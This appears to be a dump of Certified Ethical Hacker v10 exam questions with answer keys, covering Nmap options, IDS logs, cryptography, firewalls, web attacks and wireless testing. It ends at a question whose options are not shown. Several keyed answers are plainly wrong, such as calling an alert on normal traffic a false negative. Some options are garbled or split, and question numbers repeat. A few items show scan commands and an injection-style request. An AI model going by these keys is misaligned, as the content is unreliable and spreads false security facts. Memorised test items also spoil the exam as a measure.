



EC-Council

Exam Questions 312-50v10

Certified Ethical Hacker v10

NEW QUESTION 1

What does the -oX flag do in an Nmap scan?

- A. Perform an express scan
- B. Output the results in truncated format to the screen
- C. Perform an Xmas scan
- D. Output the results in XML format to a file

Answer: D

NEW QUESTION 2

What would you enter, if you wanted to perform a stealth scan using Nmap?

- A. nmap -sU
- B. nmap -sS
- C. nmap -sM
- D. nmap -sT

Answer: B

NEW QUESTION 3

The Payment Card Industry Data Security Standard (PCI DSS) contains six different categories of control objectives. Each objective contains one or more requirements, which must be followed in order to achieve compliance. Which of the following requirements would best fit under the objective, "Implement strong access control measures"?

- A. Regularly test security systems and processes.
- B. Encrypt transmission of cardholder data across open, public networks.
- C. Assign a unique ID to each person with computer access.
- D. Use and regularly update anti-virus software on all systems commonly affected by malware.

Answer: C

NEW QUESTION 4

You are a security officer of a company. You had an alert from IDS that indicates that one PC on your Intranet is connected to a blacklisted IP address (C2 Server) on the Internet. The IP address was blacklisted just before the alert. You are starting an investigation to roughly analyze the severity of the situation. Which of the following is appropriate to analyze?

- A. Event logs on the PC
- B. Internet Firewall/Proxy log
- C. IDS log
- D. Event logs on domain controller

Answer: B

NEW QUESTION 5

Log monitoring tools performing behavioral analysis have alerted several suspicious logins on a Linux server occurring during non-business hours. After further examination of all login activities, it is noticed that none of the logins have occurred during typical work hours. A Linux administrator who is investigating this problem realizes the system time on the Linux server is wrong by more than twelve hours. What protocol used on Linux servers to synchronize the time has stopped working?

- A. Time Keeper
- B. NTP
- C. PPP
- D. OSPP

Answer: B

NEW QUESTION 6

Chandler works as a pen-tester in an IT-firm in New York. As a part of detecting viruses in the systems, he uses a detection method where the anti-virus executes the malicious codes on a virtual machine to simulate CPU and memory activities.

Which type of virus detection method did Chandler use in this context?

- A. Heuristic Analysis
- B. Code Emulation
- C. Integrity checking
- D. Scanning

Answer: B

NEW QUESTION 7

Which of the following cryptography attack is an understatement for the extraction of cryptographic secrets (the password to an encrypted file) from a person by a coercion or torture?

- A. Chosen-Cipher text Attack
- B. Ciphertext-only Attack

- C. Timing Attack
- D. Rubber Hose Attack

Answer: D

NEW QUESTION 8

Which of the following antennas is commonly used in communications for a frequency band of 10 MHz to VHF and UHF?

- A. Omnidirectional antenna
- B. Dipole antenna
- C. Yagi antenna
- D. Parabolic grid antenna

Answer: C

NEW QUESTION 9

Vlady works in a fishing company where the majority of the employees have very little understanding of IT let alone IT Security. Several information security issues that Vlady often found includes, employees sharing password, writing his/her password on a post it note and stick it to his/her desk, leaving the computer unlocked, didn't log out from emails or other social media accounts, and etc.

After discussing with his boss, Vlady decided to make some changes to improve the security environment in his company. The first thing that Vlady wanted to do is to make the employees understand the importance of keeping confidential information, such as password, a secret and they should not share it with other persons. Which of the following steps should be the first thing that Vlady should do to make the employees in his company understand to importance of keeping confidential information a secret?

- A. Warning to those who write password on a post it note and put it on his/her desk
- B. Developing a strict information security policy
- C. Information security awareness training
- D. Conducting a one to one discussion with the other employees about the importance of information security

Answer: A

NEW QUESTION 10

Which of the below hashing functions are not recommended for use?

- A. SHA-1.ECC
- B. MD5, SHA-1
- C. SHA-2. SHA-3
- D. MD5. SHA-5

Answer: A

NEW QUESTION 10

You perform a scan of your company's network and discover that TCP port 123 is open. What services by default run on TCP port 123?

- A. Telnet
- B. POP3
- C. Network Time Protocol
- D. DNS

Answer: C

NEW QUESTION 11

Which of the following is considered as one of the most reliable forms of TCP scanning?

- A. TCP Connect/Full Open Scan
- B. Half-open Scan
- C. NULL Scan
- D. Xmas Scan

Answer: A

NEW QUESTION 14

Which of the following act requires employer's standard national numbers to identify them on standard transactions?

- A. SOX
- B. HIPAA
- C. DMCA
- D. PCI-DSS

Answer: B

NEW QUESTION 16

Code injection is a form of attack in which a malicious user:

- A. Inserts text into a data field that gets interpreted as code

- B. Gets the server to execute arbitrary code using a buffer overflow
- C. Inserts additional code into the JavaScript running in the browser
- D. Gains access to the codebase on the server and inserts new code

Answer: A

NEW QUESTION 20

Based on the below log, which of the following sentences are true?

Mar 1, 2016, 7:33:28 AM 10.240.250.23 – 54373 10.249.253.15 – 22 tcp_ip

- A. SSH communications are encrypted it's impossible to know who is the client or the server
- B. Application is FTP and 10.240.250.23 is the client and 10.249.253.15 is the server
- C. Application is SSH and 10.240.250.23 is the client and 10.249.253.15 is the server
- D. Application is SSH and 10.240.250.23 is the server and 10.249.253.15 is the server

Answer: C

NEW QUESTION 22

Darius is analysing IDS logs. During the investigation, he noticed that there was nothing suspicious found and an alert was triggered on normal web application traffic. He can mark this alert as:

- A. False-Negative
- B. False-Positive
- C. True-Positive
- D. False-Signature

Answer: A

NEW QUESTION 27

Which component of IPsec performs protocol-level functions that are required to encrypt and decrypt the packets?

- A. Internet Key Exchange (IKE)
- B. Oakley
- C. IPsec Policy Agent
- D. IPsec driver

Answer: A

NEW QUESTION 31

Which of the following DoS tools is used to attack target web applications by starvation of available sessions on the web server?

The tool keeps sessions at halt using never-ending POST transmissions and sending an arbitrarily large content-length header value.

- A. My Doom
- B. Astacheldraht
- C. R-U-Dead-Yet?(RUDY)
- D. LOIC

Answer: C

NEW QUESTION 32

Which is the first step followed by Vulnerability Scanners for scanning a network?

- A. TCP/UDP Port scanning
- B. Firewall detection
- C. OS Detection
- D. Checking if the remote host is alive

Answer: D

NEW QUESTION 34

You are attempting to run an Nmap port scan on a web server. Which of the following commands would result in a scan of common ports with the least amount of noise in order to evade IDS?

- A. nmap -A -Pn
- B. nmap -sP -p-65535-T5
- C. nmap -sT -O -T0
- D. nmap -A --host-timeout 99-T1

Answer: C

NEW QUESTION 38

DHCP snooping is a great solution to prevent rogue DHCP servers on your network. Which security feature on switches leverages the DHCP snooping database to help prevent man-in-the-middle attacks?

- A. Port security

- B. A Layer 2 Attack Prevention Protocol (LAPP)
- C. Dynamic ARP inspection (DAI)
- D. Spanning tree

Answer: C

NEW QUESTION 41

You are the Network Admin, and you get a complaint that some of the websites are no longer accessible. You try to ping the servers and find them to be reachable. Then you type the IP address and then you try on the browser, and find it to be accessible. But they are not accessible when you try using the URL. What may be the problem?

- A. Traffic is Blocked on UDP Port 53
- B. Traffic is Blocked on UDP Port 80
- C. Traffic is Blocked on UDP Port 54
- D. Traffic is Blocked on UDP Port 80

Answer: A

NEW QUESTION 44

The collection of potentially actionable, overt, and publicly available information is known as

- A. Open-source intelligence
- B. Human intelligence
- C. Social intelligence
- D. Real intelligence

Answer: A

NEW QUESTION 47

Which of the following Secure Hashing Algorithm (SHA) produces a 160-bit digest from a message with a maximum length of (264-1) bits and resembles the MD5 algorithm?

- A. SHA-2
- B. SHA-3
- C. SHA-1
- D. SHA-0

Answer: C

NEW QUESTION 49

The security administrator of ABC needs to permit Internet traffic in the host 10.0.0.2 and UDP traffic in the host 10.0.0.3. He also needs to permit all FTP traffic to the rest of the network and deny all other traffic. After he applied his ACL configuration in the router, nobody can access to the ftp, and the permitted hosts cannot access the Internet. According to the next configuration, what is happening in the network?

```
access-list 102 deny tcp any any
access-list 104 permit udp host 10.0.0.3 any
access-list 110 permit tcp host 10.0.0.2 eq www any
access-list 108 permit tcp any eq ftp any
```

- A. The ACL 104 needs to be first because is UDP
- B. The ACL 110 needs to be changed to port 80
- C. The ACL for FTP must be before the ACL 110
- D. The first ACL is denying all TCP traffic and the other ACLs are being ignored by the router

Answer: D

NEW QUESTION 51

You are working as a Security Analyst in a company XYZ that owns the whole subnet range of 23.0.0.0/8 and 192.168.0.0/8.

While monitoring the data, you find a high number of outbound connections. You see that IP's owned by XYZ (Internal) and private IP's are communicating to a Single Public IP. Therefore, the Internal IP's are sending data to the Public IP.

After further analysis, you find out that this Public IP is a blacklisted IP, and the internal communicating devices are compromised.

What kind of attack does the above scenario depict?

- A. Botnet Attack
- B. Spear Phishing Attack
- C. Advanced Persistent Threats
- D. Rootkit Attack

Answer: A

NEW QUESTION 56

An unauthorized individual enters a building following an employee through the employee entrance after the lunch rush. What type of breach has the individual just performed?

- A. Reverse Social Engineering

- B. Tailgating
- C. Piggybacking
- D. Announced

Answer: B

NEW QUESTION 57

Which protocol is used for setting up secure channels between two devices, typically in VPNs?

- A. PPP
- B. IPSEC
- C. PEM
- D. SET

Answer: B

NEW QUESTION 61

When a security analyst prepares for the formal security assessment - what of the following should be done in order to determine inconsistencies in the secure assets database and verify that system is compliant to the minimum security baseline?

- A. Data items and vulnerability scanning
- B. Interviewing employees and network engineers
- C. Reviewing the firewalls configuration
- D. Source code review

Answer: A

NEW QUESTION 62

Which of the following program infects the system boot sector and the executable files at the same time?

- A. Stealth virus
- B. Polymorphic virus
- C. Macro virus
- D. Multipartite Virus

Answer: D

NEW QUESTION 64

What is the minimum number of network connections in a multi homed firewall?

- A. 3
- B. 5
- C. 4
- D. 2

Answer: A

NEW QUESTION 65

Which of the following is the best countermeasure to encrypting ransomwares?

- A. Use multiple antivirus softwares
- B. Keep some generation of off-line backup
- C. Analyze the ransomware to get decryption key of encrypted data
- D. Pay a ransom

Answer: B

NEW QUESTION 69

Which of the following steps for risk assessment methodology refers to vulnerability identification?

- A. Determines if any flaws exist in systems, policies, or procedures
- B. Assigns values to risk probabilities; Impact values.
- C. Determines risk probability that vulnerability will be exploited (High, Medium, Low)
- D. Medium, Low)
- E. Identifies sources of harm to an IT system
- F. (Natural, Human, Environmental)
- G. Environmental)

Answer: C

NEW QUESTION 74

Nedved is an IT Security Manager of a bank in his country. One day, he found out that there is a security breach to his company's email server based on analysis of a suspicious connection from the email server to an unknown IP Address.

What is the first thing that Nedved needs to do before contacting the incident response team?

- A. Leave it as it is and contact the incident response team right away
- B. Block the connection to the suspicious IP Address from the firewall
- C. Disconnect the email server from the network
- D. Migrate the connection to the backup email server

Answer: C

NEW QUESTION 76

What type of analysis is performed when an attacker has partial knowledge of inner-workings of the application?

- A. Black-box
- B. Announced
- C. White-box
- D. Grey-box

Answer: D

NEW QUESTION 77

Trinity needs to scan all hosts on a /16 network for TCP port 445 only. What is the fastest way she can accomplish this with Nmap? Stealth is not a concern.

- A. `nmap -sn -sF 10.1.0.0/16 445`
- B. `nmap -p 445 -n -T4 -open 10.1.0.0/16`
- C. `nmap -s 445 -sU -T5 10.1.0.0/16`
- D. `nmap -p 445 -max -Pn 10.1.0.0/16`

Answer: B

NEW QUESTION 79

What is the least important information when you analyze a public IP address in a security alert?

- A. ARP
- B. Whois
- C. DNS
- D. Geolocation

Answer: A

NEW QUESTION 82

Insecure direct object reference is a type of vulnerability where the application does not verify if the user is authorized to access the internal object via its name or key.

Suppose a malicious user Rob tries to get access to the account of a benign user Ned.

Which of the following requests best illustrates an attempt to exploit an insecure direct object reference vulnerability?

- A. `"GET/restricted/goldtransfer?to=Rob&from=1 or 1=1" HTTP/1.1 Host: westbank.com`
- B. `"GET/restricted/accounts/?name=Ned HTTP/1.1 Host: westbank.com"`
- C. `"GET/restricted/bank.getAccount('Ned') HTTP/1.1 Host: westbank.com"`
- D. `"GET/restricted/\r\n%00account%00Ned%00access HTTP/1.1 Host: westbank.com"`

Answer: B

NEW QUESTION 86

Identify the web application attack where the attackers exploit vulnerabilities in dynamically generated web pages to inject client-side script into web pages viewed by other users.

- A. SQL injection attack
- B. Cross-Site Scripting (XSS)
- C. LDAP Injection attack
- D. Cross-Site Request Forgery (CSRF)

Answer: B

NEW QUESTION 90

DNS cache snooping is a process of determining if the specified resource address is present in the DNS cache records. It may be useful during the examination of the network to determine what software update resources are used, thus discovering what software is installed.

What command is used to determine if the entry is present in DNS cache?

- A. `nslookup -fullrecursive update.antivirus.com`
- B. `dnsnoping -rt update.antivirus.com`
- C. `nslookup -norecursive update.antivirus.com`
- D. `dns --snoop update.antivirus.com`

Answer: C

NEW QUESTION 91

An attacker scans a host with the below command. Which three flags are set? (Choose three.)

#nmap -sX host.domain.com

- A. This is ACK sca
- B. ACK flag is set
- C. This is Xmas sca
- D. SYN and ACK flags are set
- E. This is Xmas sca
- F. URG, PUSH and FIN are set
- G. This is SYN sca
- H. SYN flag is set

Answer: C

NEW QUESTION 95

Firewalls are the software or hardware systems that are able to control and monitor the traffic coming in and out the target network based on pre-defined set of rules.

Which of the following types of firewalls can protect against SQL injection attacks?

- A. Data-driven firewall
- B. Stateful firewall
- C. Packet firewall
- D. Web application firewall

Answer: D

NEW QUESTION 100

What is the purpose of a demilitarized zone on a network?

- A. To scan all traffic coming through the DMZ to the internal network
- B. To only provide direct access to the nodes within the DMZ and protect the network behind it
- C. To provide a place to put the honeypot
- D. To contain the network devices you wish to protect

Answer: B

NEW QUESTION 105

Bob, your senior colleague, has sent you a mail regarding a deal with one of the clients. You are requested to accept the offer and you oblige. After 2 days. Bob denies that he had ever sent a mail. What do you want to ""know"" to prove yourself that it was Bob who had send a mail?

- A. Authentication
- B. Confidentiality
- C. Integrity
- D. Non-Repudiation

Answer: D

NEW QUESTION 106

How is the public key distributed in an orderly, controlled fashion so that the users can be sure of the sender's identity?

- A. Hash value
- B. Private key
- C. Digital signature
- D. Digital certificate

Answer: D

NEW QUESTION 107

Alice encrypts her data using her public key PK and stores the encrypted data in the cloud. Which of the following attack scenarios will compromise the privacy of her data?

- A. None of these scenarios compromise the privacy of Alice's data
- B. Agent Andrew subpoenas Alice, forcing her to reveal her private ke
- C. However, the cloud server successfully resists Andrew's attempt to access the stored data
- D. Hacker Harry breaks into the cloud server and steals the encrypted data
- E. Alice also stores her private key in the cloud, and Harry breaks into the cloud server as before

Answer: D

NEW QUESTION 108

Developers at your company are creating a web application which will be available for use by anyone on the Internet, The developers have taken the approach of implementing a Three-Tier Architecture for the web application. The developers are now asking you which network should the Presentation Tier (front- end web server) be placed in?

- A. isolated vlan network
- B. Mesh network
- C. DMZ network
- D. Internal network

Answer: A

NEW QUESTION 113

Email is transmitted across the Internet using the Simple Mail Transport Protocol. SMTP does not encrypt email, leaving the information in the message vulnerable to being read by an unauthorized person. SMTP can upgrade a connection between two mail servers to use TLS. Email transmitted by SMTP over TLS is encrypted. What is the name of the command used by SMTP to transmit email over TLS?

- A. OPPORTUNISTICTLS STARTTLS
- B. FORCETLS
- C. UPGRADETLS

Answer: B

NEW QUESTION 115

You need a tool that can do network intrusion prevention and intrusion detection, function as a network sniffer, and record network activity, what tool would you most likely select?

- A. Nmap
- B. Cain & Abel
- C. Nessus
- D. Snort

Answer: D

NEW QUESTION 118

The network team has well-established procedures to follow for creating new rules on the firewall. This includes having approval from a manager prior to implementing any new rules. While reviewing the firewall configuration, you notice a recently implemented rule but cannot locate manager approval for it. What would be a good step to have in the procedures for a situation like this?

- A. Have the network team document the reason why the rule was implemented without prior manager approval.
- B. Monitor all traffic using the firewall rule until a manager can approve it.
- C. Do not roll back the firewall rule as the business may be relying upon it, but try to get manager approval as soon as possible.
- D. Immediately roll back the firewall rule until a manager can approve it

Answer: D

NEW QUESTION 120

Identify the UDP port that Network Time Protocol (NTP) uses as its primary means of communication?

- A. 123
- B. 161
- C. 69
- D. 113

Answer: A

NEW QUESTION 125

Bob, a network administrator at BigUniversity, realized that some students are connecting their notebooks in the wired network to have Internet access. In the university campus, there are many Ethernet ports available for professors and authorized visitors but not for students. He identified this when the IDS alerted for malware activities in the network. What should Bob do to avoid this problem?

- A. Disable unused ports in the switches
- B. Separate students in a different VLAN
- C. Use the 802.1x protocol
- D. Ask students to use the wireless network

Answer: C

NEW QUESTION 129

If you want only to scan fewer ports than the default scan using Nmap tool, which option would you use?

- A. -sP
- B. -P
- C. -r
- D. -F

Answer: B

NEW QUESTION 134

Which of the following statements is TRUE?

- A. Sniffers operate on Layer 2 of the OSI model
- B. Sniffers operate on Layer 3 of the OSI model
- C. Sniffers operate on both Layer 2 & Layer 3 of the OSI model.
- D. Sniffers operate on the Layer 1 of the OSI model.

Answer: A

NEW QUESTION 137

ping -* 6 192.168.0.101

output

Pinging 192.168.0.101 with 32 bytes of data:

Reply from 192.168.0.101: bytes=32 time<1ms TTL=128

Reply from 192.168.0.101: bytes=32 time<1ms TTL=128

Reply from 192.168.0.101: bytes=32 time<1ms TTL=128

Reply from 192.168.0.101: bytes=32 time<1ms TTL=128

Reply from 192.168.0.101: bytes=32 time<1ms TTL=128

Reply from 192.168.0.101: bytes=32 time<1ms TTL=128

Ping statistics for 192.168.0.101:

Packets: Sent=6, Received=6, Lost=0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum=0ms, Maximum=0ms, Average=0ms

What does the option * indicate?

- A. s
- B. t
- C. n
- D. a

Answer: C

NEW QUESTION 140

In the field of cryptanalysis, what is meant by a “rubber-hose” attack?

- A. Attempting to decrypt cipher text by making logical assumptions about the contents of the original plain text.
- B. Extraction of cryptographic secrets through coercion or torture.
- C. Forcing the targeted key stream through a hardware-accelerated device such as an ASIC.
- D. A backdoor placed into a cryptographic algorithm by its creator.

Answer: B

NEW QUESTION 141

Which of the following is an adaptive SQL Injection testing technique used to discover coding errors by inputting massive amounts of random data and observing the changes in the output?

- A. Function Testing
- B. Dynamic Testing
- C. Static Testing
- D. Fuzzing Testing

Answer: D

NEW QUESTION 143

A pen tester is configuring a Windows laptop for a test. In setting up Wireshark, what driver and library are required to allow the NIC to work in promiscuous mode?

- A. Libpcap
- B. Awinpcap
- C. Winprom
- D. Winpcap

Answer: D

NEW QUESTION 145

Darius is analysing logs from IDS. He wants to understand what has triggered one alert and verify if it's true positive or false positive. Looking at the logs he copies and pastes basic details like below:

source IP: 192.168.21.100

source port: 80

destination IP: 192.168.10.23

destination port: 63221

What is the most proper answer.

- A. This is most probably true negative.
- B. This is most probably true positive which triggered on secure communication between client and server.
- C. This is most probably false-positive, because an alert triggered on reversed traffic.
- D. This is most probably false-positive because IDS is monitoring one direction traffic.

Answer: A

NEW QUESTION 146

When conducting a penetration test, it is crucial to use all means to get all available information about the target network. One of the ways to do that is by sniffing the network. Which of the following cannot be performed by the passive network sniffing?

- A. Identifying operating systems, services, protocols and devices
- B. Modifying and replaying captured network traffic
- C. Collecting unencrypted information about usernames and passwords
- D. Capturing a network traffic for further analysis

Answer: B

NEW QUESTION 150

During the process of encryption and decryption, what keys are shared? During the process of encryption and decryption, what keys are shared?

- A. Private keys
- B. User passwords
- C. Public keys
- D. Public and private keys

Answer: C

NEW QUESTION 153

Bob, a system administrator at TPNQM SA, concluded one day that a DMZ is not needed if he properly configures the firewall to allow access just to servers/ports, which can have direct internet access, and block the access to workstations.

Bob also concluded that DMZ makes sense just when a stateful firewall is available, which is not the case of TPNQM SA.

In this context, what can you say?

- A. Bob can be right since DMZ does not make sense when combined with stateless firewalls
- B. Bob is partially right
- C. He does not need to separate networks if he can create rules by destination IPs, one by one
- D. Bob is totally wrong
- E. DMZ is always relevant when the company has internet servers and workstations
- F. Bob is partially right
- G. DMZ does not make sense when a stateless firewall is available

Answer: C

NEW QUESTION 155

Which of the following Bluetooth hacking techniques does an attacker use to send messages to users without the recipient's consent, similar to email spamming?

- A. Bluesmacking
- B. Bluesniffing
- C. Bluesnarfing
- D. Bluejacking

Answer: D

NEW QUESTION 160

You are a Penetration Tester and are assigned to scan a server. You need to use a scanning technique wherein the TCP Header is split into many packets so that it becomes difficult to detect what the packets are meant for.

Which of the below scanning technique will you use?

- A. ACK flag scanning
- B. TCP Scanning
- C. IP Fragment Scanning
- D. Inverse TCP flag scanning

Answer: C

NEW QUESTION 162

In which of the following cryptography attack methods, the attacker makes a series of interactive queries, choosing subsequent plaintexts based on the information from the previous encryptions?

- A. Chosen-plaintext attack
- B. Ciphertext-only attack
- C. Adaptive chosen-plaintext attack
- D. Known-plaintext attack

Answer: A

NEW QUESTION 165

In Wireshark, the packet bytes panes show the data of the current packet in which format?

- A. Decimal
- B. ASCII only
- C. Binary
- D. Hexadecimal

Answer: D

NEW QUESTION 170

What type of vulnerability/attack is it when the malicious person forces the user's browser to send an authenticated request to a server?

- A. Cross-site request forgery
- B. Cross-site scripting
- C. Session hijacking
- D. Server side request forgery

Answer: A

NEW QUESTION 174

Which Nmap option would you use if you were not concerned about being detected and wanted to perform a very fast scan?

- A. -T0
- B. -T5
- C. -O
- D. -A

Answer: B

NEW QUESTION 175

Bob finished a C programming course and created a small C application to monitor the network traffic and produce alerts when any origin sends "many" IP packets, based on the average number of packets sent by all origins and using some thresholds. In concept, the solution developed by Bob is actually:

- A. Just a network monitoring tool
- B. A signature-based IDS
- C. A hybrid IDS
- D. A behavior-based IDS

Answer: A

Explanation: Topic 2, Exam Pool B

NEW QUESTION 177

A circuit level gateway works at which of the following layers of the OSI Model?

- A. Layer 5 - Application
- B. Layer 4 – TCP
- C. Layer 3 – Internet protocol
- D. Layer 2 – Data link

Answer: B

NEW QUESTION 178

The use of technologies like IPSec can help guarantee the following: authenticity, integrity, confidentiality and

- A. non-repudiation.
- B. operability.
- C. security.
- D. usability.

Answer: A

NEW QUESTION 183

Which of the following processes evaluates the adherence of an organization to its stated security policy?

- A. Vulnerability assessment
- B. Penetration testing
- C. Risk assessment
- D. Security auditing

Answer: D

NEW QUESTION 185

Which of the following tools will scan a network to perform vulnerability checks and compliance auditing?

- A. NMAP

- B. Metasploit
- C. Nessus
- D. BeEF

Answer: C

NEW QUESTION 187

On a Linux device, which of the following commands will start the Nessus client in the background so that the Nessus server can be configured?

- A. `nessus +`
- B. `nessus *s`
- C. `nessus &`
- D. `nessus -d`

Answer: C

NEW QUESTION 191

From the two screenshots below, which of the following is occurring?

First one:

```
1 [10.0.0.253]# nmap -sP 10.0.0.0/24
3 Starting Nmap
5 Host 10.0.0.1 appears to be up.
6 MAC Address: 00:09:5B:29:FD:96 (Netgear)
7 Host 10.0.0.2 appears to be up.
8 MAC Address: 00:0F:B5:96:38:5D (Netgear)
9 Host 10.0.0.4 appears to be up.
10 Host 10.0.0.5 appears to be up.
11 MAC Address: 00:14:2A:B1:1E:2E (Elitegroup Computer System Co.)
12 Nmap finished: 256 IP addresses (4 hosts up) scanned in 5.399
seconds
```

Second one:

```
1 [10.0.0.252]# nmap -sO 10.0.0.2
3 Starting Nmap 4.01 at 2006-07-14 12:56 BST
4 Interesting protocols on 10.0.0.2:
5 (The 251 protocols scanned but not shown below are
6 in state: closed)
7 PROTOCOL STATE SERVICE
8 1 open icmp
9 2 open|filtered igmp
10 6 open tcp
11 17 open udp
12 255 open|filtered unknown
14 Nmap finished: 1 IP address (1 host up) scanned in
15 1.259 seconds
1 [10.0.0.253]# nmap -sP
1 [10.0.0.253]# nmap -sP
```

- A. 10.0.0.253 is performing an IP scan against 10.0.0.0/24, 10.0.0.252 is performing a port scan against 10.0.0.2.
- B. 10.0.0.253 is performing an IP scan against 10.0.0.2, 10.0.0.252 is performing a port scan against 10.0.0.2.
- C. 10.0.0.2 is performing an IP scan against 10.0.0.0/24, 10.0.0.252 is performing a port scan against 10.0.0.2.
- D. 10.0.0.252 is performing an IP scan against 10.0.0.2, 10.0.0.252 is performing a port scan against 10.0.0.2.

Answer: A

NEW QUESTION 196

Which tool would be used to collect wireless packet data?

- A. NetStumbler
- B. John the Ripper
- C. Nessus
- D. Netcat

Answer: A

NEW QUESTION 199

An attacker has been successfully modifying the purchase price of items purchased on the company's web site. The security administrators verify the web server and Oracle database have not been compromised directly. They have also verified the Intrusion Detection System (IDS) logs and found no attacks that could have caused this. What is the mostly likely way the attacker has been able to modify the purchase price?

- A. By using SQL injection
- B. By changing hidden form values
- C. By using cross site scripting
- D. By utilizing a buffer overflow attack

Answer: B

NEW QUESTION 200

A Security Engineer at a medium-sized accounting firm has been tasked with discovering how much information can be obtained from the firm's public facing web servers. The engineer decides to start by using netcat to port 80.

The engineer receives this output:

```
HTTP/1.1 200 OK
Server: Microsoft-IIS/6
Expires: Tue, 17 Jan 2011 01:41:33 GMT
Date: Mon, 16 Jan 2011 01:41:33 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Wed, 28 Dec 2010 15:32:21 GMT
ETag: "b0aac0542e25c31:89d"
Content-Length: 7369
```

Which of the following is an example of what the engineer performed?

- A. Cross-site scripting
- B. Banner grabbing
- C. SQL injection
- D. Whois database query

Answer: B

NEW QUESTION 203

An organization hires a tester to do a wireless penetration test. Previous reports indicate that the last test did not contain management or control packets in the submitted traces. Which of the following is the most likely reason for lack of management or control packets?

- A. The wireless card was not turned on.
- B. The wrong network card drivers were in use by Wireshark.
- C. On Linux and Mac OS X, only 802.11 headers are received in promiscuous mode.
- D. Certain operating systems and adapters do not collect the management or control packets.

Answer: D

NEW QUESTION 207

Which of the following is a preventive control?

- A. Smart card authentication
- B. Security policy
- C. Audit trail
- D. Continuity of operations plan

Answer: A

NEW QUESTION 209

Which of the following problems can be solved by using Wireshark?

- A. Tracking version changes of source code
- B. Checking creation dates on all webpages on a server
- C. Resetting the administrator password on multiple systems
- D. Troubleshooting communication resets between two systems

Answer: D

NEW QUESTION 211

Which of the following open source tools would be the best choice to scan a network for potential targets?

- A. NMAP
- B. NIKTO
- C. CAIN
- D. John the Ripper

Answer: A

NEW QUESTION 215

Which of the following examples best represents a logical or technical control?

- A. Security tokens
- B. Heating and air conditioning
- C. Smoke and fire alarms
- D. Corporate security policy

Answer: A

NEW QUESTION 220

Which property ensures that a hash function will not produce the same hashed value for two different messages?

- A. Collision resistance
- B. Bit length
- C. Key strength
- D. Entropy

Answer: A

NEW QUESTION 224

What is one thing a tester can do to ensure that the software is trusted and is not changing or tampering with critical data on the back end of a system it is loaded on?

- A. Proper testing
- B. Secure coding principles
- C. Systems security and architecture review
- D. Analysis of interrupts within the software

Answer: D

NEW QUESTION 225

What are the three types of authentication?

- A. Something you: know, remember, prove
- B. Something you: have, know, are
- C. Something you: show, prove, are
- D. Something you: show, have, prove

Answer: B

NEW QUESTION 226

The network administrator for a company is setting up a website with e-commerce capabilities. Packet sniffing is a concern because credit card information will be sent electronically over the Internet. Customers visiting the site will need to encrypt the data with HTTPS. Which type of certificate is used to encrypt and decrypt the data?

- A. Asymmetric
- B. Confidential
- C. Symmetric
- D. Non-confidential

Answer: A

NEW QUESTION 229

Which of the following resources does NMAP need to be used as a basic vulnerability scanner covering several vectors like SMB, HTTP and FTP?

- A. Metasploit scripting engine
- B. Nessus scripting engine
- C. NMAP scripting engine
- D. SAINT scripting engine

Answer: C

NEW QUESTION 232

A tester has been hired to do a web application security test. The tester notices that the site is dynamic and must make use of a back end database. In order for the tester to see if SQL injection is possible, what is the first character that the tester should use to attempt breaking a valid SQL request?

- A. Semicolon
- B. Single quote
- C. Exclamation mark
- D. Double quote

Answer: B

NEW QUESTION 237

A security consultant decides to use multiple layers of anti-virus defense, such as end user desktop anti-virus and E-mail gateway. This approach can be used to mitigate which kind of attack?

- A. Forensic attack
- B. ARP spoofing attack
- C. Social engineering attack
- D. Scanning attack

Answer: C

NEW QUESTION 239

WPA2 uses AES for wireless data encryption at which of the following encryption levels?

- A. 64 bit and CCMP
- B. 128 bit and CRC
- C. 128 bit and CCMP
- D. 128 bit and TKIP

Answer: C

NEW QUESTION 242

Which type of access control is used on a router or firewall to limit network activity?

- A. Mandatory
- B. Discretionary
- C. Rule-based
- D. Role-based

Answer: C

NEW QUESTION 244

A pentester gains access to a Windows application server and needs to determine the settings of the built-in Windows firewall. Which command would be used?

- A. Netsh firewall show config
- B. WMIC firewall show config
- C. Net firewall show config
- D. Ipconfig firewall show config

Answer: A

NEW QUESTION 249

Which type of scan is used on the eye to measure the layer of blood vessels?

- A. Facial recognition scan
- B. Retinal scan
- C. Iris scan
- D. Signature kinetics scan

Answer: B

NEW QUESTION 252

An attacker uses a communication channel within an operating system that is neither designed nor intended to transfer information. What is the name of the communications channel?

- A. Classified
- B. Overt
- C. Encrypted
- D. Covert

Answer: D

NEW QUESTION 253

A person approaches a network administrator and wants advice on how to send encrypted email from home. The end user does not want to have to pay for any license fees or manage server services. Which of the following is the most secure encryption protocol that the network administrator should recommend?

- A. IP Security (IPSEC)
- B. Multipurpose Internet Mail Extensions (MIME)
- C. Pretty Good Privacy (PGP)
- D. Hyper Text Transfer Protocol with Secure Socket Layer (HTTPS)

Answer: C

NEW QUESTION 256

Which of the following is a hashing algorithm?

- A. MD5
- B. PGP
- C. DES

D. ROT13

Answer: A

NEW QUESTION 258

Which protocol and port number might be needed in order to send log messages to a log analysis tool that resides behind a firewall?

- A. UDP 123
- B. UDP 541
- C. UDP 514
- D. UDP 415

Answer: C

NEW QUESTION 262

During a wireless penetration test, a tester detects an access point using WPA2 encryption. Which of the following attacks should be used to obtain the key?

- A. The tester must capture the WPA2 authentication handshake and then crack it.
- B. The tester must use the tool inSSIDer to crack it using the ESSID of the network.
- C. The tester cannot crack WPA2 because it is in full compliance with the IEEE 802.11i standard.
- D. The tester must change the MAC address of the wireless network card and then use the AirTraf tool to obtain the key.

Answer: A

NEW QUESTION 264

A security engineer has been asked to deploy a secure remote access solution that will allow employees to connect to the company's internal network. Which of the following can be implemented to minimize the opportunity for the man-in-the-middle attack to occur?

- A. SSL
- B. Mutual authentication
- C. IPSec
- D. Static IP addresses

Answer: C

NEW QUESTION 267

At a Windows Server command prompt, which command could be used to list the running services?

- A. Sc query type= running
- B. Sc query \\servername
- C. Sc query
- D. Sc config

Answer: C

NEW QUESTION 270

The following is part of a log file taken from the machine on the network with the IP address of 192.168.1.106:

```
Time:Mar 13 17:30:15 Port:20 Source:192.168.1.103
Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:17 Port:21 Source:192.168.1.103
Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:19 Port:22 Source:192.168.1.103
Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:21 Port:23 Source:192.168.1.103
Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:22 Port:25 Source:192.168.1.103
Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:23 Port:80 Source:192.168.1.103
Destination:192.168.1.106 Protocol:TCP
